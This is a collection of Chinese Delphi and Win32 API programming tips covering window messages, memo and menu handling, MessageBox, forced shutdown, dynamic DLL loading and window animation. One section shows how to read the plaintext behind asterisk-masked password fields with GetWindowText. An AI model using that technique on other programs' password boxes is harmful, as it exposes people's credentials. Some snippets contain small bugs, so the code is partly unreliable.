由 以 上 介 绍 可 以 看 出， 只 有 清 楚 了Delphi VCL 中 的 消 息 处 理 机 制， 掌 握 好 处 理 各 种 消 息 的 方 法 和 时 机（ 必 要 时 要 借 助 各 种 工 具， 如winsight32,spy 等）， 并 结 合OOP 语 言 的 特 点， 我 们 才 可 能 编 出 高 质 量 的 构 件。 这 当 然 要 靠 读 者 在 实 践 中 不 断 摸 索， 积 累 经 验。


程序运行时保持为图标

1. Form.WindowState := wsMinimized

2.
PROCEDURE WMQueryOpen(VAR Msg : TWMQueryOpen); message WM_QUERYOPEN;

3.

PROCEDURE TForm1.WMQueryOpen(VAR Msg : TWMQueryOpen);
begin
Msg.Result := 0;
end;


知道Memo每项可显示的行

这样：
function TForm1.MemoLinesShowing(memo: TMemo):
integer;
var
R: TRect;
begin
Memo.Perform(EM_GETRECT,
0, Longint(@R));
Result := (R.Bottom - R.Top) div
Canvas.TextHeight('XXX');
end;

问题是，TForm 和TMemo 需要用同样的字体。
如果不同，可以用以下代码：
function TForm1.MemoLinesShowingLong(Memo: TMemo): integer;
Var
Oldfont: HFont; {the old font}
DC: THandle; {Device context handle}
i: integer; {loop variable}
Tm: TTextMetric; {text metric structure}

  TheRect: TRect;
begin
DC := GetDC(Memo.Handle); {Get the
memo's device context}
try
{Select the memo's
font}
OldFont := SelectObject(DC,
Memo.Font.Handle);
try
GetTextMetrics(DC, Tm); {Get the text metric
info}
Memo.Perform(EM_GETRECT, 0,
longint(@TheRect));
Result := (TheRect.Bottom
- TheRect.Top) div
(Tm.tmHeight + Tm.tmExternalLeading);
finally
SelectObject(DC, Oldfont); {Select the
old font}
end;
finally
ReleaseDC(Memo.Handle, DC); {Release the device context}

end;
end;


自动滚屏幕

 procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_F8 then
SendMessage(Memo1.Handle, { HWND of the Memo Control }
WM_VSCROLL, { Windows Message }
SB_PAGEDOWN, { Scroll Command }
0) { Not Used }
else if Key = VK_F7 then
SendMessage(Memo1.Handle, { HWND of the Memo Control }
WM_VSCROLL, { Windows Message }
SB_PAGEUP, { Scroll Command }
0); { Not Used }
end;


“用户选取菜单”事件

    Delphi的TMainMenu构件没有提供很丰富的事件处理，这给程序设计带来了一些不便。例如，在一个文本编辑器程序中，可能需要随时侦测系统的剪帖板是否有数据，如果有则将主菜单的Paste条目设为Enabled，反之设为Disabled。检测剪帖板是否有内容的代码应该在用户选取菜单时立即执行，可惜Delphi并未提供相应的事件。
    当用户选取菜单时，Windows会向程序发送WM_INITMENU消息，因此可在MainForm中加入处理WM_INITMENU消息的过程，示例如下：

首先在MainForm声明的private段中加入如下声明
procedure WMInitMenu(var msg: TMessage); message WM_INITMENU;

WMInitMenu消息处理过程的代码如下：
procedure TMainForm.WMInitMenu(var msg: TMessage);
begin
if msg.WParam=GetMenu(Handle) then begin
EditPasteItem.Enabled := Clipboard.HasFormat(CF_OEMTEXT);
end else inherited;
end;

    在上例中，当用户选取菜单时，WMInitMenu立刻获得控制权，并根据剪帖板中是否有文本内容来决定Paste菜单条目的Enabled属性值。注意，无论是在MDI程序还是在非MDI程序中，处理WM_INITMENU消息的过程都应该放在MainForm中。


获取RichEdit的当前光标位置

    在RichEdit的OnSelectionChange事件处理过程中加入适当的代码可以实时地获得当前光标位置，示例如下：

procedure TForm1.RichEdit1SelectionChange(Sender: TObject);
var
X, Y: LongInt;
begin
Y := SendMessage(RichEdit1.Handle, EM_LINEFROMCHAR,
RichEdit1.SelStart, 0);
X := RichEdit1.SelStart -
SendMessage(RichEdit1.Handle, EM_LINEINDEX, Y, 0);
Inc(Y); // 光标的行号
Inc(X); // 光标的列号
end;


API教程

DOS下的INT21H对于开发DOS程序很重要，而对于在WINDOWS下开
发程序，了解API函数是很有必要的。元件就像招式，而API函数就好
比内功心法，有了高深的内力，那么学习招式就易如反掌啦。所以，
掌握的API函数越多，你就越可能成为DELPHI高手，甚至WINDOWS编程
高手。所以，无论是C＋＋，VB还是DELPHI都无一例外的支持API函数
的调用，C＋＋和DELPHI是全面支持API函数，而VB仅支持部分API函
数（部分也不少了，已经有几百条之多），尤其是DELPHI调用API函
数最方便，已经达到与API函数合二为一的境界，调用API函数和使用
自身的函数几乎一样。下面我将为大家详细讲解API函数在DELPHI中
的使用，每条语句我都会写个小例子，让大家更能明白其是如何使用
的。如果你认真看完本文后，相信大家一定会对DELPHI编程有更深的
了解。但是千万不要半途而废，畏难怕繁，记住：欲练神功，必下苦
功！学编程，可不是玩游戏，不能弄个FPE啥作弊的。
    (一)控件与消息函数
    ①语法：AnyPopup: BOOL;
    单元：windows.pas（该单元DELPHI会自行在USES里加上，下同）
    作用：判断屏幕上是否存在任何弹出式窗口
    返回值：BOOL，如存在弹出式菜单，则返回TRUE
    注解：对该函数来说，弹出式菜单包含所有可见的包容顶级窗口，
无论弹出式还是重叠窗口
    示例：
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if (AnyPopup) then
    Label1.Caption:=‘Pop－ups found: TRUE'
    else
    Label1.Caption:=‘Pop－ups found: FALSE';
    end;
    ②语法：EnableWindow(hWnd: HWND; bEnable: BOOL): BOOL;单
元：windows.pas
    作用：指定的窗口里允许或禁止所有鼠标及键盘输入
    返回值：BOOL，如果返回真，WINDOWS已经禁止，否则返回假
    示例：
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if (IsWindowEnabled(Edit1.Handle)) then
    begin
    EnableWindow(Edit1.Handle,FALSE);
    Button1.Caption:=‘Enable Window';
    Edit1.Text:=‘This window is disabled';
    end
    else
    begin
    EnableWindow(Edit1.Handle,TRUE);
    Button1.Caption:=‘Disable Window';
    Edit1.Text:=‘This window is enabled';
    end;
    end;
    ③语法：FlashWindow(hWnd: HWND; bInvert: BOOL): BOOL;
    单元：windows.pas
    作用：闪烁显示指定窗口。这意味着窗口的标题和说明文字会发
生变化，似乎从活动切换到非活动状态、或反向切换。通常对不活动
的窗口应用这个函数，引起用户的注意
    返回值：BOOL,如窗口在调用前处于活动状态，则返回TRUE
    注解:该函数通常与一个计数器组合使用，生成连续的闪烁效果
。
    在windows nt及windowsfor workgroup中，bInvert参数会被忽
略。
    但在windows 95中不会忽略
    示例：
    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
    FlashWindow(Form1.Handle, TRUE);
    FlashWindow(Application.handle, TRUE);
    end;
    ④语法：SetWindowText(hWnd: HWND;lpString: PChar): BOOL;

    单元：windows.pas
    作用：设置窗口的标题文字或控件的内容
    返回值：设置成功返回TRUE，否则返回FALSE
    示例：
    procedure TForm1.Button1Click(Sender: TObject);
    var
    TheText: PChar;
    TextLen: Integer;
    begin
    TextLen:=GetWindowTextLength(Form1.Handle);
    GetMem(TheText,TextLen);
    GetWindowText(Form1.Handle,TheText,TextLen＋1);
    Edit1.Text:=string(TheText);
    FreeMem(TheText);
    end;
    procedure TForm1.Button2Click(Sender: TObject);
    begin
    SetWindowText(Form1.Handle, PChar(Edit1.Text));
    end;
    ⑤语法：IsWindow(hWnd: HWND): BOOL;
    单元：windows.pas
    作用：判断一个窗口句柄是否有效
    返回值：有效返回TRUE，否则返回FALSE
    示例：
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if (IsWindow(Button1.Handle)) then
    Button1.Caption:=‘TRUE'
    else
    Button1.Caption:=‘FALSE';
    end;
    怎么样，还过瘾吧？今天是第一次，就介绍些较容易接受的函数，
否则朋友们肯定会喊吃不消。不知道朋友们对这样的编排形式能够接
受吗？还有，我会按照API函数的分类（控件与消息函数/硬件与系统
函数/菜单函数/文本和字体函数/打印函数等等）分别介绍，但我不
会介绍全部的API函数，否则大有骗稿费之嫌疑，而且本人的水平也
难做到每个语句都有示例，只介绍平常用得上的，本人经常使用的函
数，有时也会介绍一下比较隐秘但却非常有用的API函数。
    附TIPS（DELPHI技巧）一个：
    如果有这样一个目录：
    c:\windows\media\temp\abc\sound\chime.wav
    我希望它能缩短成：
    c:\windows\..\sound\chime.wav
    如何写程序呢？
    回答：
    用下面的过程试试：
    function shortenfilename(s : string) : string;
    var drive,curdrive : string［2］;
    dir,curdir : string［80］;
    name : string［20］;
    ext : string［5］;
    i : byte;
    begin
    for i:=1 to length(s) do s［i］:=upcase(s［i］);
    s:=fexpand(s);
    fsplit(s,dir,name,ext);
    drive:=copy(dir,1,2);
    dir:=copy(dir,4,length(dir)－3);
    getdir(0,curdir);
    curdrive:=copy(curdir,1,2);
    curdir:=copy(curdir,4,length(curdir)－3)＋‘\';
    if drive=curdrive then begin
    if copy(dir,1,length(curdir))=curdir then begin
    i:=length(curdir);
    if length(dir)<>i then dir:=dir＋‘\';
    shortenfilename:=copy(dir,i＋1,length(dir)－i－1)＋name
＋ext;
    end else shortenfilename:=copy(s,3,length(s)－2);
    end else shortenfilename:=s;
    end;
    注：本文只为提高DELPHI能力的朋友所写，非一般入门级的教程，
所以文中所有DELPHI的自身函数和一些基本技巧不再说明，请朋友查
阅DELPHI的联机帮助手册。


Win32 API 使用的特殊情况

作者 : iriscat

我个人认为，Delphi 是当今最好的 Windows 可视化开发工具。

其种种特点令开发如虎添翼。但要想发挥出 Delphi 真正的内含性能比如开发控件，实现一些特殊的功能，就必须直接调用 Win32 API。

Win32 API 主要包含在 Windows95/98/NT/2K 的系统动态连接库中如 Kernel32.dll、User32.dll、Gdi32.dll、Shell32.dll 等等

通常情况下 我们只要在代码的 Uses 部分加入 Windows 等单元的声明即可像使用 Delphi 内置函数一样的使用 Win32 API 函数，十分方便。

但是，这样使用有时候会带来一些意想不到的麻烦。具体如下：

众所周知，Windows 的版本十分多，仅 Win95 就有 Win95A，Win95B等等，而它们对 Win32 API 的实现是有细微差别的，尽管它们都是Win32 平台。有一些 Win32 API 函数在特定的 Windows 版本中名称有些许不同，或者根本就是是不存在的。

这样就带来了问题： Delphi 的 Windows 等单元是与当时最新的Win32 API 全集对应的，Delphi 在编译的时候总是动态连接 Windows函数库（所有的 Windows 编译型开发工具都是这样的）。编译时毫无问题的代码，其可执行文件在特定的 Windows 平台上就无法使用。

由于 Windows 的可执行文件加载机制，在 Delphi 集成环境中是无法跟踪这样的潜在问题的。下面举两个例子：

例一：

Win32 API 声明：

function BroadcastSystemMessage; external user32

name 'BroadcastSystemMessageA';

（来自 Delphi 5 Enterprise Windows.pas ：29408）

注意，使用这个函数编译后，程序在 Win95 的早期版本中无法使用（好像是 Win95A）

将函数声明改为如下后，问题解决：

function BroadcastSystemMessage; external user32

name 'BroadcastSystemMessage'; //注意这里！！

例二：

Win32 API 声明：

function SHGetSpecialFolderPath; external shell32

name 'SHGetSpecialFolderPathA'

（来自 Delphi 5 Enterprise ShlObj.pas ：3333）

注意，使用这个函数编译后，程序在 Win95 某版本中无法使用

（Shell32.dll 版本：4.00.1111），因为这个函数根本就不存在！！目前我尚无解决方案

要避免这样的问题的出现，有两个方法：

一：不直接使用 Win32 API，找第三方控件（这个方法好像是废话）

二：动态加在函数。方法如下：以 Win2K 中的 AnimateWindow 为例

(关于 AnimateWindow 函数的详细讨论，请到 www.csdn.net 文档，VB

查找关键字 AnimateWindow，感谢: iProgram)

Unit XXXX;

.....

type

FAnimateWindow = function(

const hwnd : HWND; //仅对窗口有效

const dwTime : DWORD; //动画持续时间，默认200ms

const dwFlags : DWORD): DWORD; stdcall;

function AnimateWindow(const hWnd : HWND; const dwTime : DWORD;

const dwFlags : DWORD): DWORD;

implementation

function AnimateWindow(const hWnd : HWND; const dwTime : DWORD;

const dwFlags : DWORD): DWORD;

var

DLLHandle : THandle;

AnimateWindow : FAnimateWindow;

begin

Result := 0;

DLLHandle := LoadLibrary('user32.dll');

@AnimateWindow := GetProcAddress(DllHandle,'AnimateWindow');

Result := AnimateWindow(hWnd, dwTime, dwFlags);

end;

.....

end.

怎么样，是有些麻烦吧，很值的。 如果你不想让自己的程序挑三拣四， 如果你不想让自己被称为废物程序员，呵呵，试一下吧。


API函数开发三例

---- Windows 的API 函 数 是 应 用 程 序 开 发 的 有 力 辅 助 工 具， 对 它 们 的 恰 当 使 用， 可 大 大 增 强 和 改 进 应 用 程 序 与 系 统 打 交 道 的 能 力， 使 自 己 的 程 序 真 正 具 有 底 层 操 作 功 能。 作 为RAD 工 具 的 基 础 代 表，BORLAND DELPHI 虽 然 本 身 也 已 提 供 了 大 量 强 有 力 的 函 数 和 过 程， 但 在 某 些 场 合、 要 求 下， 使 用API 函 数 将 使 你 的 程 序 进 一 步 得 到 改 善， 并 可 拓 宽 范 围， 简 化 程 序 代 码。

---- 在DELPHI 中 引 用API 函 数， 和 使 用DELPHI 本 身 的 函 数、 过 程 几 乎 没 有 区 别。 在DELPHI 目 录 下 有 一 个WINDOWS.PAS 文 件， 凡 是 在 其 中 声 明 过 的API 函 数， 都 可 在 编 程 时 直 接 引 用 而 无 须 另 加 说 明。 只 是 要 注 意， 标 准API 函 数 都 是 以C 或C++ 为 标 准 进 行 数 据 结 构 定 义 的， 而DELPHI 使 用 的 是OBJECT PASCAL 语 言， 因 此 在 引 用 时 应 特 别 注 意 参 数 和 函 数 本 身 的 数 据 类 型。 如 一 个API 函 数 若 为 布 尔 值， 则 在DELPHI 中 就 应 以TRUE、FALSE 而 不 能 用0、 非0 来 对 返 回 值 进 行 判 断。

---- 下 面 以 三 个 小 例 子 来 说 明API 函 数 在DELPHI 中 的 使 用。

---- 一、 本 地 化 消 息 框

---- 想 让 自 己 的 消 息 框 显 示“OK”、“Cancel” 还 是“ 确 定”、“ 取 消” ？ 如 果 想 使 程 序 彻 底 本 地 化， 那 么 还 是 放 弃MessageDlg 和ShowMessage 吧 — — 都 怪DELPHI 没 有。 用MessageBox 这 个API 函 数 照 样 方 便。

---- 使 用 语 法 为：

MessageBox (HWND:hWND,lpMessage:
PChar,lpCaption:PChar,uType:Cardinal);

---- 各 参 数 中， 第 一 个 为 消 息 框 所 属 的 窗 口 句 柄， 第 二 个 为 要 显 示 的 消 息， 第 三 个 为 消 息 框 的 标 题， 第 四 个 为 消 息 框 的 类 型， 函 数 返 回 值 为 整 型 数。

---- 为 使 消 息 框 有 所 归 属， 第 一 个 参 数 设 为 当 前 窗 口， 获 取 其 句 柄 的 方 法 是 使 用 另 一 个API 函 数：GetActiveWindows( )， 且 不 需 任 何 参 数。

---- 例1）Message box 示 例：

---- 1 ． 主 要 构 件 及 属 性 的 设 置：

form1:caption : messagebox示例
bordericons : biMaximize和biHelp设为false
panel1：caption :文字部分 Alignment : taLeftJustify
panel2：caption :图象部分 Alignment : taLeftJustify
button1~button12 : caption分别为：确定、确定取消、
确定帮助取消、是否、重试取消、终止重试取消、
信息、提问、系统图标、警告、停止、组合方式
bitbtn1：kind : bkClose

---- 如 图 一 所 示：

---- 2 ． 事 件 说 明：（ 详 见 源 程 序， 下 仅 举 两 例）

{文字部分以button2click( )为例}
procedure TForm1.Button2Click(Sender: TObject);
begin
case messagebox(getactivewindow(),
'显示确定、取消框','例子',
mb_okcancel)
of idok:messagebox(getactivewindow(),
'您按下的是“确定”按钮',
'结果',mb_ok);
idcancel:messagebox(getactivewindow(),
'您按下的是“取消”按钮',
'结果',mb_ok);
end;
end;
{图象部分以button8click( )为例}
procedure TForm1.Button8Click(Sender: TObject);
begin
messagebox(getactivewindow(),'显示警告图标','例子',
mb_iconwarning)
end;

---- 二、 改 进Windows 9x 的 系 统 登 录 的 安 全 性：

---- Win 9x 的“ 用 户 登 录” 窗 口 可 谓 来 者 不 拒， 密 码 不 对 照 样 可 以“ 登 堂 入 室”， 系 统 为 用 户 保 留 的 个 人 设 置 等 信 息 也 就 毫 无 保 密 性 可 言， 通 过 查 看Profiles 目 录， 可 轻 松 地 将 其 复 制 或 删 除。 虽 然Win95、Win98 的 应 用 对 象 是 个 人 用 户， 但 在 某 些 场 合 下， 还 是 让 登 录 窗 口 起 点 作 用 的 好。

---- 要 使 系 统 登 录 具 有 安 全 性， 对 非 法 使 用 者 真 正 能 拒 之 门 外， 不 妨 用 两 个API 函 数 来 实 现 此 目 的。

---- 例 二） 系 统 登 录 检 查

---- 1 ． 主 要 构 件 及 属 性 设 置：

form1:caption:CheckUser
height、width： 设 为 最 小 值

---- 2 ． 事 件 说 明：

//定义变量
private
size:cardinal;
name:pchar;
entry:boolean;{
Private declarations }

procedure TCheckUser.FormShow(Sender: TObject);
begin
size:=64;
name:=StrAlloc(64) ;
{检查用户名，判断是按了“取消”按钮还是键入了新用户名}
if GetUsername(name,size)
then if name=’wj’ //‘wj’为笔者机器的登录用户名
{在此，若允许的合法使用者不止一个，还可利用关系运算指定
一个以上的用户进入。
如:if (name=’computer1’) or (name=’computer2’)
}
then entry:=true;
close;
end;

procedure TCheckUser.FormClose
(Sender: TObject; var Action: TCloseAction);
begin
if not entry
then ExitWindowsEx(EWX_REBOOT,32);
//若用户名不对，则重新启动Windows
end;

procedure TCheckUser.FormCreate(Sender: TObject);
begin
entry:=false;//设定初始值
end;

---- 编 译 完 毕 后， 生 成EXE 文 件， 然 后 打 开 注 册 表 — — 使 用Regedit， 找 到HKEY_LOCAL_MACHINE\SOFTWARE\Micr\Windows\ CurrentVersion\RUN 行， 添 加 键 值 名（ 如：CheckUser） 及 键 值（EXE 文 件 所 在 的 完 整 路 径）。 如 图 所 示：

---- 好 了， 重 新 启 动 一 次， 没 有 正 确 的 密 码 还 能 进 入 吗 ？

---- 三 ． 没 有“ 媒 体 播 放 器” 的 声 音 播 放

---- 日 前 做 了 一 个 小 程 序， 想 在“ 关 于” 窗 口 加 上 一 段 声 音 说 明， 但 小 小 的“ 关 于”FORM 放 上 一 个 长 长 的、Visible 属 性 需 为False 的MediaPlayer 构 件 实 在 别 扭。 东 查 西 找 之 下， 还 是 靠API 函 数SNDPLAYSOUND（） 解 决 了 问 题 — — 从 而 摆 脱 了MediaPlayer 的“ 束 缚”。 例 三） 使 用API 函 数 控 制 声 音 文 件 的 播 放：（ 部 分 代 码）

procedure TaboutBox.FormShow(Sender: TObject);
begin
// 播 放 当 前 目 录 下 的welcome.wav 文 件
sndplaysound(‘welcome.wav’,snd_async)
end;

procedure TAboutBox.FormClick(Sender: TObject);
begin
// 停 止 播 放
sndplaysound(‘’,snd_async);
end;

---- 别 忘 了， 在USES 子 句 中 加 入mmsystem 单 元。 如 果 只 需 要 播 放 声 音， 那 么 一 条API 函 数 就 能 实 现 功 能 的 还 用 得 着MediaPlaye吗？


关闭Windows

控制WINDOWS的开关：如关闭WINDOWS，重新启动WINDOWS等, ExitWindowsEx(UINT uFlags,DWORD
dwReserved);是实现这一功能的API函数
首先定义常数
const
EWX_FORCE=4;
//关闭所有程序并以其他用户身份登录
EWX_LOGOFF=0;
//重新启动计算机并切换到MS-DOS方式
EWX_REBOOT=2;
//重新启动计算机
EWX_SHUTDOWN=1;//关闭计算机
运行时给How赋值，让他等于EWX_SHUTDOWN或其他，调用以下语句
ExitWindowsEx(How,0);

///////////////////////////////////////////
Function ShutDownWindows(Flags: Byte) : Boolean;
begin
Result := ExitWindowsEx(Flage, 0)
// 如果成功返回 True.
end;

Flags可用参数：

EWX_LOGOFF:
(=0)
安全地关闭所有进程，并关闭用户登录。

EWX_SHUTDOWN:
(=1)
关闭系统。所有缓冲区的内容都能被安全的存盘，所有进程都将被停止。
对于Windows NT: 必须有 SE_SHUTDOWN_NAME 的安全特权方可进行此项操作。
对于Windows 95: 不必有任何特权。

EWX_REBOOT:
(=2)
关闭并重新启动系统。
对于Windows NT: 必须有 SE_SHUTDOWN_NAME 的安全特权方可进行此项操作。
对于Windows 95: 不必有任何特权。

EWX_FORCE:
(=4)
强制切断连接，关闭所有应用程序。当使用这个参数时，Windows 将不向正在运行的应用程序发送 WM_QUERYENDSESSION 和 WM_ENDSESSION 消息，有可能造成数据丢失。所以推荐只在紧急时使用这个参数。

EWX_POWEROFF:
(=8)
关闭系统并切断电源，需要ATX电源支持。
/////////////////////////////////////
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);

private
{ Private declarations }
procedure AdjustToken;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.AdjustToken();
var
hdlProcessHandle : Cardinal;
hdlTokenHandle : Cardinal;
tmpLuid : Int64;
tkpPrivilegeCount : Int64;
tkp : TOKEN_PRIVILEGES;
tkpNewButIgnored : TOKEN_PRIVILEGES;
lBufferNeeded : Cardinal;
Privilege : array[0..0] of _LUID_AND_ATTRIBUTES;
begin
hdlProcessHandle := GetCurrentProcess;
OpenProcessToken(hdlProcessHandle,
(TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY),
hdlTokenHandle);

// Get the LUID for shutdown privilege.
LookupPrivilegeValue('', 'SeShutdownPrivilege', tmpLuid);
Privilege[0].Luid := tmpLuid;
Privilege[0].Attributes := SE_PRIVILEGE_ENABLED;
tkp.PrivilegeCount := 1; // One privilege to set
tkp.Privileges[0] := Privilege[0];
// Enable the shutdown privilege in the access token of this
// process.
AdjustTokenPrivileges(hdlTokenHandle,
False,
tkp,
Sizeof(tkpNewButIgnored),
tkpNewButIgnored,
lBufferNeeded);

end;
procedure TForm1.Button1Click(Sender: TObject);
begin
AdjustToken;
ExitWindowsEx((EWX_SHUTDOWN Or EWX_FORCE Or EWX_REBOOT), $FFFF);
end;

end.


显示密码编辑框中的密码

     我们在使用Windows时，经常会碰到一些密码编辑框，输入其中的文字都以“＊”显示。现在，有许多共享软件和自由软件都可以实现隐藏密码的正确显示。究竟这是怎样实现的呢！其实，这比较简单，虽然这些信息都以“＊”显示，但其内部还是以当初的字符表示，所以，我们只要用Windows API函数就可以实现。
    在Windows中，每一个窗口、控件都有它的名字（叫做Name或Window Text）。对于Form、Dialog Box、Message Box来说，名字就显示在Title Bar中；对于Edit、Button、Static Control，名字显示在他所占的区域中。密码编辑框本身就是个Edit控件，虽然显示的是特殊字符，但名字属性没有变，还是输入时的字符。Windows提供了两个API函数来获得这个名字：
    int GetWindowTextLength(HWND hWnd); ／／ 得到名字的长度
     其中，hWnd ：想要得到的那个窗口或控件的句柄 handle
    int GetWindowText(HWND hWnd, LPTSTR lpString, int nMaxCount );／／ 得到名字
    其中，hWnd ：想要得到的那个窗口或控件的句柄 handle；
    lpString：存放名字的字符串的地址
    nMaxCount ：可拷贝的最大字符数
    下面以Delphi为例，说明它的实现过程。
    新建一Form，放置Label、Edit、Button各一个到Form中，将Edit1的PasswordChar属性改为“＊”，双击Button1：
    procedure TForm1.Button1Click(Sender: TObject);
    var
    Name:PChar; ／／ 名字
    L:integer; ／／ 名字的长度
    begin
    L:=GetWindowTextLength(Edit1.handle)＋1; ／／ 得到名字长度，并将长度加1
    GetMem(Name,L);／／为将要得到的名字分配内存
    GetWindowText(Edit1.handle,Name,L);／／得到名字
    label1.Caption:=String(Name); ／／ 将得到的名字显示于 Label1
    FreeMem(Name,0); ／／ 释放分配的内存
    end;
    经过运行，在Edit1中输入的密码就可通过Label1显示出来。
（


关闭外部应用程序

下面给出一段在 Delphi 中关闭“计算器”程序为例：
var
HWndCalculator : HWnd;
begin
// find the exist calculator window
HWndCalculator := Winprocs.FindWindow(nil, '计算器'); // close the exist Calculator
if HWndCalculator <> 0 then
SendMessage(HWndCalculator, WM_CLOSE, 0, 0);
end;


适应不同的显示分辨率

假设你在800*600的分辨率下设计的form,第一步：
inplementation
const
ScreenWidth: LongInt = 800; {I designed my form in 800x600 mode.}
ScreenHeight: LongInt = 600;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
scaled :=
true;
if (screen.width <> ScreenWidth) then
begin
height := longint(height) * longint(screen.height)
div ScreenHeight;
width := longint(width) *
longint(screen.width) div ScreenWidth;
scaleBy(screen.width, ScreenWidth);
end;
end;

下一步，要让每个子控制的字体改变到合适的大小：
type
TFooClass = class(TControl); { needed to get at protected }
{ font property }

var
i: integer;
begin
for i := ControlCount - 1 downto 0 do
TFooClass(Controls[i]).Font.Size :=
(NewFormWidth div OldFormWidth) *
TFooClass(Controls[i]).Font.Size;
end;


刷新窗口部分区域

可以拦截Wm_paint消息，然后使用GetUpdateRect取得要刷新的区域


窗口缩放

 很不幸，Borland漏掉了Windows95用来最小化和恢复窗口的缩放效果。利用下面工程中的代码，你可以在程序中实现窗口缩放。

基础：Delphi是怎样用窗体的

可能你已经注意到你的程序在任务栏上的标题与程序主窗体的标题不一样（例如当你在application选项中设置的程序名与你的主窗体名字不同）。这是因为Delphi把程序(application)当成真正的主窗体（它被隐藏了），但它是存在的（你可以用某些技巧使它可见）。程序的窗体没有在任务栏显示出来。现在关于缩放窗口的第二点是Borland写了它自己的代码来最小化窗体，而不是利用Windows提供的程序。从一方面看这是合乎逻辑的：如果窗体不在任务栏显示，为什么它要缩放到其中？但是，这些是用户所不知道的，他们不明白为什么你的窗口不会缩放。

将你的窗体变为APPWINDOW

为了使你的窗体能缩放，第一步是使他们在任务栏中显示。Windows95提供了决定窗口是否在任务栏显示的扩展窗口样式属性，你所要做的是设置这个属性。我写过利用Delphi不支持的窗口样式属性的工程（对不起，它是用德语写的，没有英语版本）。

在窗体声明中加入一行代码：

procedure CreateParams(var Params: TCreateParams); override;

在实现部分加入一个过程：

procedure TForm1.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.ExStyle:= Params.ExStyle or WS_EX_APPWINDOW;
end;

运行程序，你将看到现在Form1在任务栏中。

将程序从任务栏中去掉

当然你不想为一个窗体在任务栏中显示两个按钮，因此你必须隐藏程序窗口（窗口本身对用户已是不可见的了）。你可以在窗体的OnCreate方法中达到这个目的：

procedure TForm1.FormCreate(Sender: TObject); begin
ShowWindow(Application.Handle, SW_HIDE);
end;

现在使窗口缩放。

现在你必须实现缩放效果了。你必须处理WM_SYSCOMMAND消息，它当需要最小化和恢复时被发送到窗体。在消息处理中，你必须利用标准的用来最小化窗体的Windows API函数调用，而不是Delphi所提供的。首先，在你的窗体的私有声明处加入下面一行：

procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;

然后，写下面的消息处理函数：

procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
case Msg.CmdType of
SC_MINIMIZE: begin
ShowWindow(Handle, SW_MINIMIZE);
(**) Application.Minimize;
(**) ShowWindow(Application.Handle, SW_HIDE);
(**) ShowWindow(Handle, SW_MINIMIZE);
end;
SC_RESTORE: begin
(**) Application.Restore;
ShowWindow(Handle, SW_RESTORE);
(**) ShowWindow(Application.Handle, SW_HIDE);
end;
else
inherited;
end;
end;

这个方法做了什么？首先，它通过调用windows API的ShowWindow过程来最小化自己。它然后在调用Application.Minimize使其他窗体最小化。但是现在程序按钮又回到了任务栏，因为它不再被隐藏而被最小化了。这样再用同样的方法使它隐藏。现在所有的都从任务栏上消失了，剩下的SC_MINIMIZE一行使我们在任务栏上看到窗体的按钮。

当窗体恢复时，它先调用Application.Restore使所有其他窗体显示。但它没有恢复主窗体，因为它在Application.Minimize调用时已被最小化了。然后窗体恢复自身。现在程序的按钮又出现在任务栏上，因为它被恢复了。这样你再使它隐藏。

当程序只使用一个窗体时，所有标有(**)的行可以被省略（我不能肯定，但我认为当其他窗体都是主窗体的子窗体时（例如在MDI程序中），你可以省略它们）。当然，这也可以适用于窗体只在模块中显示的情况，因为当模态窗体活动时程序是不能被最小化的。

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:37:00


检测对状态栏上的图标的双击

当我双击放在状态栏的图标时，我如何使我的程序显示一消息框、执行一个过程...(比如，微软IE上的"e"字形图标)

// 对一些变量的计算方法依赖于你希望的图标显示方法，如哪一个面板等等

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs,ComCtrls, StdCtrls, ImgList;

type
TForm1 = class(TForm)
StatusBar1: TStatusBar;
Edit1: TEdit;
Label1: TLabel;
Label2: TLabel;
Edit2: TEdit;
Label3: TLabel;
Edit3: TEdit;
ImageList1: TImageList;
Label4: TLabel;
Edit4: TEdit;
Label5: TLabel;
Edit5: TEdit;
procedure FormResize(Sender: TObject);
procedure StatusBar1MouseMove(Sender: TObject; Shift:
TShiftState; X,Y: Integer);
procedure FormCreate(Sender: TObject);
procedure StatusBar1DrawPanel(StatusBar: TStatusBar;
Panel: TStatusPanel; const Rect: TRect);
procedure StatusBar1DblClick(Sender: TObject);
procedure StatusBar1MouseDown(Sender: TObject; Button:
TMouseButton;Shift: TShiftState; X, Y: Integer);
private
Beginpos : Integer;
XMouse : Integer;
XMDown : Integer;
property Icon_Beginpos: Integer read Beginpos write Beginpos;
property XValue : Integer read XMouse write XMouse;
property XClicked : Integer read XMDown write XMDown;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormResize(Sender: TObject);
begin
StatusBar1.Panels[1].Width := Form1.Width - 150;
Icon_Beginpos := 100 + StatusBar1.Panels[1].Width;
Edit2.Text := IntToStr(Icon_Beginpos);
Edit3.Text := IntToStr(Icon_Beginpos + 3);
Edit4.Text := IntToStr(Icon_Beginpos + 18);
end;

procedure TForm1.StatusBar1MouseMove(Sender: TObject; Shift:
TShiftState; X, Y: Integer);
begin
XValue := x;
Edit1.Text := IntToStr(XValue);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Icon_Beginpos := Form1.Width - 50;
Edit2.Text := IntToStr(Icon_Beginpos);
end;

procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar;
Panel: TStatusPanel; const Rect: TRect);
begin
with StatusBar1.Canvas do
begin
FillRect(Rect);
Font.Color := clYellow;
ImageList1.Draw(StatusBar1.Canvas,Rect.Left,Rect.Top,Panel.Index);
